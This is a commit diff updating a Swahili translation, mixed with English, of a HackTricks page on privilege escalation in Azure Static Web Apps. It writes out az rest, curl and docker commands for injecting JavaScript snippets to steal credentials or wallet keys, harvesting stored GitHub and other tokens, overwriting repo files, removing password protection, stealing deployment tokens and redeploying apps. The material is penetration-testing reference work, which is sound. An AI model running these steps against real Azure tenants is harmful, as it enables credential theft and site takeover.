mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
+35
-29
@@ -4,7 +4,7 @@
|
||||
|
||||
## Azure Static Web Apps
|
||||
|
||||
Kwa maelezo zaidi kuhusu huduma hii angalia:
|
||||
Kwa habari zaidi kuhusu huduma hii angalia:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-static-web-apps.md
|
||||
@@ -12,9 +12,9 @@ Kwa maelezo zaidi kuhusu huduma hii angalia:
|
||||
|
||||
### Microsoft.Web/staticSites/snippets/write
|
||||
|
||||
Inawezekana kufanya ukurasa wa wavuti wa static upakue msimbo wa HTML wa kiholela kwa kuunda snippet. Hii inaweza kumruhusu mshambuliaji kuingiza msimbo wa JS ndani ya programu ya wavuti na kuiba taarifa nyeti kama vile akidi au funguo za mnemonic (katika pochi za web3).
|
||||
Inawezekana kufanya ukurasa wa wavuti statiki upakie HTML yoyote kwa kuunda snippet. Hii inaweza kumruhusu attacker ku-inject JS code ndani ya web app na kuiba taarifa za siri kama credentials au mnemonic keys (in web3 wallets).
|
||||
|
||||
Amri ifuatayo inaunda snippet ambayo itakuwa inapakuliwa kila wakati na programu ya wavuti::
|
||||
The following command create an snippet that will always be loaded by the web app::
|
||||
```bash
|
||||
az rest \
|
||||
--method PUT \
|
||||
@@ -31,7 +31,7 @@ az rest \
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Soma Akikodi za Watu wa Tatu Zilizowekwa
|
||||
### Soma Cheti za Wahusika wa Tatu Zilizosanidiwa
|
||||
|
||||
Kama ilivyoelezwa katika sehemu ya App Service:
|
||||
|
||||
@@ -39,14 +39,14 @@ Kama ilivyoelezwa katika sehemu ya App Service:
|
||||
../az-privilege-escalation/az-app-services-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
Kukimbia amri ifuatayo inawezekana **kusoma akidi za watu wa tatu** zilizowekwa katika akaunti ya sasa. Kumbuka kwamba ikiwa kwa mfano akidi za Github zimewekwa kwa mtumiaji tofauti, huwezi kupata token kutoka kwa mwingine.
|
||||
Kwa kuendesha amri ifuatayo inawezekana **kusoma cheti za wahusika wa tatu** zilizosanidiwa katika akaunti ya sasa. Kumbuka kwamba, kwa mfano, ikiwa baadhi ya Github credentials zimesanidiwa kwa mtumiaji tofauti, hautaweza kufikia token kutoka kwa mtumiaji mwingine.
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||||
```
|
||||
Amri hii inarudisha tokeni za Github, Bitbucket, Dropbox na OneDrive.
|
||||
Amri hii inarudisha tokens za Github, Bitbucket, Dropbox na OneDrive.
|
||||
|
||||
Hapa kuna mifano ya amri za kuangalia tokeni:
|
||||
Hapa kuna baadhi ya mifano ya amri za kukagua tokens:
|
||||
```bash
|
||||
# GitHub – List Repositories
|
||||
curl -H "Authorization: token <token>" \
|
||||
@@ -69,14 +69,14 @@ curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://graph.microsoft.com/v1.0/me/drive/root/children
|
||||
```
|
||||
### Overwrite file - Overwrite routes, HTML, JS...
|
||||
### Kuandika upya faili - Kuandika upya routes, HTML, JS...
|
||||
|
||||
Ni uwezekano wa **kuandika upya faili ndani ya repo ya Github** inayoshikilia programu kupitia Azure kwa kutumia **Github token** kutuma ombi kama ifuatavyo ambalo litabainisha njia ya faili ya kuandika upya, maudhui ya faili na ujumbe wa commit.
|
||||
Inawezekana **kuandika upya faili ndani ya Github repo** inayohifadhi app kupitia Azure ikiwa inamiliki **Github token**, kwa kutuma ombi kama lifuatalo ambalo litaonyesha njia ya faili ya kuandika upya, maudhui ya faili na ujumbe wa commit.
|
||||
|
||||
Hii inaweza kutumiwa vibaya na washambuliaji kubadilisha **maudhui ya programu ya wavuti** ili kutoa maudhui mabaya (kuiba akidi, funguo za mnemonic...) au tu **kuhamasisha njia fulani** kwa seva zao wenyewe kwa kuandika upya faili ya `staticwebapp.config.json`.
|
||||
Hii inaweza kutumiwa vibaya na wadukuzi kwa msingi wa **kubadilisha yaliyomo ya web app** ili kuwasilisha maudhui ya hatari (steal credentials, mnemonic keys...) au kwa tu **kupeleka njia fulani upya** kwenye seva zao kwa kuandika upya faili `staticwebapp.config.json`.
|
||||
|
||||
> [!WARNING]
|
||||
> Kumbuka kwamba ikiwa mshambuliaji atafanikiwa kuharibu repo ya Github kwa njia yoyote, wanaweza pia kuandika upya faili moja kwa moja kutoka Github.
|
||||
> Kumbuka kwamba ikiwa mshambulizi ataweza kudhoofisha usalama wa Github repo kwa njia yoyote, wanaweza pia kuandika upya faili hiyo moja kwa moja kutoka Github.
|
||||
```bash
|
||||
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
|
||||
-H "Content-Type: application/json" \
|
||||
@@ -99,7 +99,7 @@ curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
|
||||
```
|
||||
### Microsoft.Web/staticSites/config/write
|
||||
|
||||
Kwa ruhusa hii, inawezekana **kubadilisha nenosiri** linalolinda programu ya wavuti ya statiki au hata kuondoa ulinzi wa kila mazingira kwa kutuma ombi kama ifuatavyo:
|
||||
Kwa ruhusa hii, inawezekana **kubadilisha nenosiri** linalolinda app ya wavuti isiyobadilika au hata kuondoa ulinzi kwa mazingira yote kwa kutuma ombi kama lifuatalo:
|
||||
```bash
|
||||
# Change password
|
||||
az rest --method put \
|
||||
@@ -133,32 +133,38 @@ az rest --method put \
|
||||
```
|
||||
### Microsoft.Web/staticSites/listSecrets/action
|
||||
|
||||
Ruhusa hii inaruhusu kupata **API key deployment token** kwa ajili ya programu ya static:
|
||||
Ruhusa hii inaruhusu kupata **API key deployment token** kwa ajili ya static app.
|
||||
|
||||
Kutumia az rest:
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
|
||||
```
|
||||
Kisha, ili **kusasisha programu kwa kutumia tokeni** unaweza kukimbia amri ifuatayo. Kumbuka kwamba amri hii ilipatikana kwa kuangalia **jinsi Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) inavyofanya kazi**, kwani ndiyo ambayo Azure imeweka kama chaguo-msingi kutumika. Hivyo picha na mipangilio inaweza kubadilika katika siku zijazo.
|
||||
Kutumia AzCLI:
|
||||
```bash
|
||||
az staticwebapp secrets list --name <appname> --resource-group <RG>
|
||||
```
|
||||
Kisha, ili **update an app using the token** unaweza kuendesha amri ifuatayo. Kumbuka kuwa amri hii ilichukuliwa kwa kuangalia **jinsi Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) inavyofanya kazi**, kwani ndiyo Azure imeiweka kwa chaguo-msingi kutumia. Hivyo image na parameters zinaweza kubadilika wakati ujao.
|
||||
|
||||
> [!TIP]
|
||||
> Ili kupeleka programu unaweza kutumia zana **`swa`** kutoka [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) au kufuata hatua zifuatazo:
|
||||
> Ili kupeleka app unaweza kutumia zana ya **`swa`** kutoka [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) au fuata hatua zifuatazo:
|
||||
|
||||
1. Pakua repo [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (au repo nyingine yoyote unayotaka kupeleka) na ukimbie `cd react-basic`.
|
||||
2. Badilisha msimbo unayotaka kupeleka
|
||||
3. Ipeleke ukikimbia (Kumbuka kubadilisha `<api-token>`):
|
||||
1. Pakua repo [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (au repo nyingine yoyote unayotaka kupeleka) na endesha `cd react-basic`.
|
||||
2. Badilisha msimbo unaotaka kupeleka
|
||||
3. Ipeleke kwa kuendesha amri ifuatayo (Kumbuka kubadilisha `<api-token>`):
|
||||
```bash
|
||||
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
|
||||
```
|
||||
> [!WARNING]
|
||||
> Hata kama una token, huwezi kupeleka programu ikiwa **Sera ya Uidhinishaji wa Upelekaji** imewekwa kwenye **Github**. Ili kutumia token, utahitaji ruhusa `Microsoft.Web/staticSites/write` kubadilisha njia ya upelekaji kutumia token ya APi.
|
||||
> Hata kama una token hautaweza ku-deploy app ikiwa **Deployment Authorization Policy** imewekwa kuwa **Github**. Kwa kutumia token utahitaji ruhusa `Microsoft.Web/staticSites/write` kubadilisha deployment method ili kutumia th APi token.
|
||||
|
||||
### Microsoft.Web/staticSites/write
|
||||
|
||||
Kwa ruhusa hii inawezekana **kubadilisha chanzo cha programu ya wavuti ya statiki kuwa hifadhi tofauti ya Github**, hata hivyo, haitapelekwa kiotomatiki kwani hii inapaswa kufanywa kutoka kwa Kitendo cha Github.
|
||||
Kwa ruhusa hii inawezekana **kubadilisha chanzo cha static web app kwenda repository tofauti ya Github**, hata hivyo, haitapigwa provisioning kiotomatiki kwani hii lazima ifanywe kutoka kwa Github Action.
|
||||
|
||||
Hata hivyo, ikiwa **Sera ya Uidhinishaji wa Upelekaji** imewekwa kwenye **Github**, inawezekana **kusaidia programu kutoka kwenye hifadhi mpya ya chanzo!**.
|
||||
Hata hivyo, ikiwa **Deployment Authotization Policy** imewekwa kuwa **Github**, inawezekana **kusasisha app kutoka kwenye repository ya chanzo mpya!**.
|
||||
|
||||
Iwapo **Sera ya Uidhinishaji wa Upelekaji** haijawekwa kwenye Github, unaweza kuibadilisha kwa ruhusa ile ile `Microsoft.Web/staticSites/write`.
|
||||
Iwapo **Deployment Authorization Policy** haijawekwa kuwa **Github**, unaweza kuibadilisha kwa ruhusa ile ile `Microsoft.Web/staticSites/write`.
|
||||
```bash
|
||||
# Change the source to a different Github repository
|
||||
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
|
||||
@@ -181,7 +187,7 @@ az rest --method PATCH \
|
||||
}
|
||||
}'
|
||||
```
|
||||
Mfano wa Github Action ya kupeleka programu:
|
||||
Mfano wa Github Action wa kupeleka app:
|
||||
```yaml
|
||||
name: Azure Static Web Apps CI/CD
|
||||
|
||||
@@ -244,16 +250,16 @@ action: "close"
|
||||
```
|
||||
### Microsoft.Web/staticSites/resetapikey/action
|
||||
|
||||
Kwa ruhusa hii inawezekana **kurekebisha funguo za API za programu ya wavuti ya statiki** ambayo inaweza kusababisha DoS kwa michakato inayotunga programu kiotomatiki.
|
||||
Kwa ruhusa hii inawezekana **reset the API key of the static web app**, na hivyo kuweza DoSing workflows zinazodeploy app kiotomatiki.
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
|
||||
```
|
||||
### Microsoft.Web/staticSites/createUserInvitation/action
|
||||
|
||||
Ruhusa hii inaruhusu **kuunda mwaliko kwa mtumiaji** ili kufikia njia zilizo salama ndani ya programu ya wavuti ya static yenye jukumu maalum lililotolewa.
|
||||
Ruhusa hii inaruhusu **kuunda mwaliko kwa mtumiaji** ili kupata ufikiaji wa njia zilizo na ulinzi ndani ya static web app kwa cheo maalum kilichotolewa.
|
||||
|
||||
Kuingia kuna mahali kama `/.auth/login/github` kwa github au `/.auth/login/aad` kwa Entra ID na mtumiaji anaweza kualikwa kwa amri ifuatayo:
|
||||
Sehemu ya kuingia iko katika njia kama `/.auth/login/github` kwa github au `/.auth/login/aad` kwa Entra ID na mtumiaji anaweza kualikwa kwa kutumia amri ifuatayo:
|
||||
```bash
|
||||
az staticwebapp users invite \
|
||||
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
|
||||
@@ -266,12 +272,12 @@ az staticwebapp users invite \
|
||||
```
|
||||
### Pull Requests
|
||||
|
||||
Kwa default, Pull Requests kutoka tawi katika repo hiyo hiyo zitakusanywa na kujengwa kiotomatiki katika mazingira ya staging. Hii inaweza kutumiwa vibaya na mshambuliaji mwenye ufikiaji wa kuandika kwenye repo lakini bila uwezo wa kupita ulinzi wa tawi la uzalishaji (kawaida `main`) ili **kupeleka toleo la uharibifu la programu** katika URL ya stagging.
|
||||
Kwa chaguo-msingi Pull Requests kutoka tawi ndani ya repo hiyo zitaweza kucompile na kujengwa kiotomatiki katika mazingira ya staging. Hii inaweza kutumiwa vibaya na mshambuliaji mwenye ruhusa ya kuandika kwenye repo lakini asiyeweza kuvuka ulinzi wa tawi la production (kawaida `main`) ili **deploy toleo hatarishi la app** kwenye URL ya staging.
|
||||
|
||||
URL ya staging ina muundo huu: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` kama: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
|
||||
The staging URL has this format: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` like: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
|
||||
|
||||
> [!TIP]
|
||||
> Kumbuka kwamba kwa default PR za nje hazitakimbia workflows isipokuwa zimeunganishwa angalau PR 1 katika hifadhi. Mshambuliaji anaweza kutuma PR halali kwenye repo na **kisha kutuma PR ya uharibifu** kwenye repo ili kupeleka programu ya uharibifu katika mazingira ya stagging. HATA HIVYO, kuna ulinzi usiotarajiwa, Github Action ya default ya kupeleka kwenye static web app inahitaji ufikiaji wa siri inayoshikilia token ya kupeleka (kama `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) hata kama kupeleka kunafanywa kwa IDToken. Hii inamaanisha kwamba kwa sababu PR ya nje haina ufikiaji wa siri hii na PR ya nje haiwezi kubadilisha Workflow kuweka hapa token isiyo ya kawaida bila PR kukubaliwa, **shambulio hili halitafanya kazi kweli**.
|
||||
> Kumbuka kwamba kwa chaguo-msingi external PRs hazitafanya run workflows isipokuwa wameruhusu (merged) angalau PR 1 ndani ya repository. Mshambuliaji anaweza kutuma PR halali kwenye repo na **kisha kutuma PR hatarishi** kwenye repo ili deploy app hatarishi katika mazingira ya staging. HATAKWAMBA, kuna ulinzi usiotarajiwa: default Github Action ya ku-deploy kwenye static web app inahitaji ufikiaji wa secret inayoshikilia deployment token (kama `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) hata ikiwa deployment imefanywa kwa IDToken. Hii inamaanisha kwamba kwa kuwa external PR haitapata ufikiaji wa secret hii na external PR haiwezi kubadilisha Workflow kuweka token yoyote hapa bila PR kukubaliwa, **shambulio hili halitafanya kazi kwa kweli**.
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user